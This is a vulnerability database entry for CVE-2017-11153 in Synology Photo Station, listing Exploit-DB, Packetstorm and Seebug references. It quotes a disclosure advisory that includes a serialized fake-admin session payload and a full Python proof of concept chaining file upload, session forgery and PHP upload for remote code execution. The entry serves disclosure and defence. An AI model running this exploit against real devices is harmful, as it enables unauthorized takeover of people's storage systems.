Vulnerabilities > CVE-2017-11153 - Deserialization of Untrusted Data vulnerability in Synology Photo Station
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Deserialization vulnerability in synophoto_csPhotoMisc.php in Synology Photo Station before 6.7.3-3432 and 6.3-2967 allows remote attackers to gain administrator privileges via a crafted serialized payload.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Exploit-Db
| description | Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution. CVE-2017-11151,CVE-2017-11152,CVE-2017-11153,CVE-2017-11154,CVE-2017-11155. Webapps exp... |
| file | exploits/hardware/webapps/42434.py |
| id | EDB-ID:42434 |
| last seen | 2017-08-09 |
| modified | 2017-08-08 |
| platform | hardware |
| port | |
| published | 2017-08-08 |
| reporter | Exploit-DB |
| source | https://www.exploit-db.com/download/42434/ |
| title | Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution |
| type | webapps |
Packetstorm
| data source | https://packetstormsecurity.com/files/download/143745/sps6-exec.txt |
| id | PACKETSTORM:143745 |
| last seen | 2017-08-15 |
| published | 2017-08-08 |
| reporter | Kacper Szurek |
| source | https://packetstormsecurity.com/files/143745/Synology-Photo-Station-6.7.3-3432-6.3-2967-Remote-Code-Execution.html |
| title | Synology Photo Station 6.7.3-3432 / 6.3-2967 Remote Code Execution |
Seebug
bulletinFamily exploit description ### Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo folder for you to store photos and videos that you want to share. The system will create index thumbnails of the photos and videos automatically, and then people can view photo albums via a web browser. ### Credit An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response The vendor has released patches to address this vulnerability. For more details: https://www.synology.com/zh-tw/support/security/Synology_SA_17_34_PhotoSation ### CVE’s: CVE-2017-11151 CVE-2017-11152 CVE-2017-11153 CVE-2017-11154 CVE-2017-11155 ### Vulnerability details The remote code execution is a combination of 4 different vulnerabilities: * Upload arbitrary files to the specified directories * Log in with a fake authentication mechanism * Log in to Photo Station with any identity * Execute arbitrary code by authenticated user with administrator privileges The chain of vulnerabilities will allow you, in the end, to execute code as: ``` uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation) ``` The first step is to exploit the ability to upload arbitrary files – User controlled input is not sufficiently sanitized, when passed to /photo/include/synotheme_upload.php function. Successful exploitation of this vulnerability enables a remote unauthenticated user to upload arbitrary files. The file will be uploaded to `/var/packages/PhotoStation/etc/blog/` or `/var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/`. The second step is to use the user controlled file to create a valid session by using the the following file content: ``` root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";} ``` And send a request to general_setting.php with the parameter that include the file we uploaded as a session. The third step is to log with the new root user we created. Once we log-in we can upload a file with our malicious code and execute him by send a GET request Furthermore, the last vulnerability is the ability to identify Photo Station version. By default when you visit photo station url `http://IP/photo/#!Albums`, in the source code you can identify the Photo Station version: ``` <script src="js_php/prevent_iframe.js.php?v=6.7.1-3419"></script> ``` 6.7.1-3419 is version of Photo Station installed. ### Proof of Concept ``` import requests # What server you want to attack synology_ip = 'http://192.168.1.100' # Your current IP ip = '192.168.1.200' # PHP code you want to execute php_to_execute = '<?php echo system("id"); ?>' encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}' print "[+] Set fake admin sesssion" file = [('file', ('foo.jpg', encoded_session))] r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file) print r.text print "[+] Login as fake admin" # Depends on version it might be stored in different dirs payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'} # payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'} try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload) whichact = {'action' : 'get_setting'} r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies) print r.text print "[+] Upload php file" c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'} r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies) print r.text print "[+] Execute payload" f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip)) print f.text ``` id SSV:96331 last seen 2017-11-19 modified 2017-08-08 published 2017-08-08 reporter Root source https://www.seebug.org/vuldb/ssvid-96331 title Synology Photo Station Unauthenticated Remote Code Execution bulletinFamily exploit description Description: The remote code execution is a combination of 4 different vulnerabilities: CVE-2017-11151 allows remote attackers to upload arbitrary files to the specified directories. CVE-2017-11152 allows remote attackers to log in with a fake authentication mechanism. CVE-2017-11153 allows remote attackers to log in to Photo Station with any identities. CVE-2017-11154 allows remote authenticated attackers with administrator privileges in Photo Station to execute arbitrary codes on the vulnerable NAS. CVE-2017-11155 allows remote attackers to identify whether Photo Station is vulnerable or not. The chain of vulnerabilities will allow you, in the end, to execute code as: `uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)` id SSV:96600 last seen 2017-11-19 modified 2017-09-29 published 2017-09-29 reporter Root source https://www.seebug.org/vuldb/ssvid-96600 title Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution